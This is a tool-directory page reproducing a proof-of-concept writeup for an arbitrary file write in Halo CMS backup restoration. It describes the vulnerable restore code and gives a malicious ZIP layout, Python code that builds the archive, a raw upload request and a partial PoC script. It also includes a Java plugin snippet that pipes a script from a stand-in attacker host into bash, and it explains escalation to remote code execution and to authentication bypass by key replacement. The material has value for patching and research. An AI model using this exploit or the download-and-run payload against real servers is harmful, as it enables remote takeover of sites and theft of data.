Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Proof-of-concept exploit for an arbitrary file write vulnerability in Halo CMS backup restoration, enabling RCE via plugin JAR replacement or authentication bypass. | Kitploit
Tools/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Proof-of-concept exploit for an arbitrary file write vulnerability in Halo CMS backup restoration, enabling RCE via plugin JAR replacement or authentication bypass.

View Repository
182 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Halo CMS Backup Restore Arbitrary File Write Vulnerability

Summary

A critical arbitrary file write vulnerability exists in the backup restoration functionality of Halo CMS versions up to 2.25.4. The restoreWorkdir() method in MigrationServiceImpl.java copies the workdir/ directory from a user-supplied backup archive directly to the Halo application's working directory (~/.halo2/) without any validation of file types, path traversal protection, or symbolic link checks. An authenticated attacker with backup management privileges can craft a malicious backup ZIP file containing arbitrary files in the workdir/ directory, which will be written to the server's working directory upon restoration, potentially leading to Remote Code Execution (RCE) via plugin JAR replacement or authentication bypass via RSA key replacement.

CVSS v3.1 Score: 8.8 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (External Control of File Name or Path)


Affected Versions

  • Halo CMS ≤ 2.25.4
  • All versions with backup restoration functionality

Vulnerability Details

Root Cause

The vulnerability resides in the restoreWorkdir() method of MigrationServiceImpl.java (lines 230-243):

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

The copyRecursively() method (Spring's FileSystemUtils) performs a recursive copy without:

  1. File type validation - No check on file extensions or MIME types
  2. Path traversal protection - No check for .. sequences in filenames
  3. Symbolic link detection - No check for symbolic links
  4. File size limits - No restriction on file sizes
  5. Overwrite protection - Silently overwrites existing files

Attack Vector

The vulnerability is triggered through the backup restoration endpoint:

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

The restoration process follows this sequence:

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extract ZIP to temp directory          │
│  2. restoreExtensions() → Restore extensions.data           │
│  3. restoreWorkdir() → Copy workdir/ to ~/.halo2/           │
│     ↑ Arbitrary files written to working directory          │
└─────────────────────────────────────────────────────────────┘

Malicious Backup Structure

A malicious backup ZIP file must contain:

malicious-backup.zip
├── extensions.data          # Required: Can be empty or contain valid JSONL
└── workdir/                 # Required: Contents copied to ~/.halo2/
    ├── PWNED_BY_POC.txt     # Proof of concept marker file
    ├── plugins/             # Plugin JARs for RCE
    │   └── evil-plugin.jar  # Malicious plugin
    └── keys/                # RSA keys for authentication bypass
        ├── pat_id_rsa       # Malicious private key
        └── pat_id_rsa.pub   # Malicious public key

extensions.data Format

The extensions.data file must be valid for restoreExtensions() to succeed. Valid formats include:

  1. Empty file: (empty content)

  2. Empty line: \n (newline only)

  3. Valid JSONL: One ExtensionStore object per line:

    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Where data is base64-encoded content.


Exploitation Steps

Prerequisites

  • Authenticated user with backup management privileges
  • Network access to Halo API

Step 1: Create Malicious Backup

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Empty extensions.data (passes restoreExtensions validation)
    zf.writestr('extensions.data', '\n')

    # Arbitrary file to write to ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Step 2: Upload Malicious Backup

Frontend Backup Management Address:http://ip:port/console/backup

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Step 3: Verify File Written

# On the Halo server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Impact Analysis

Direct Impact

  1. Arbitrary File Write: Attacker can write any file to ~/.halo2/
  2. File Overwrite: Existing files are silently overwritten

Escalation Scenarios

Attack VectorTarget FileImpactSeverity
Plugin JAR Replacement~/.halo2/plugins/*.jarRemote Code ExecutionCritical
RSA Key Replacement~/.halo2/keys/pat_id_rsaAuthentication BypassCritical
Theme Replacement~/.halo2/themes/*Stored XSSHigh
Configuration Overwrite~/.halo2/*.yamlSecurity Control BypassHigh

RCE via Plugin JAR Replacement

An attacker can replace a legitimate plugin JAR with a malicious one containing:

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Execute arbitrary command
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

When the plugin is loaded, the malicious code executes with the privileges of the Halo process.


Proof of Concept

Python PoC Script

#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf
Download Tool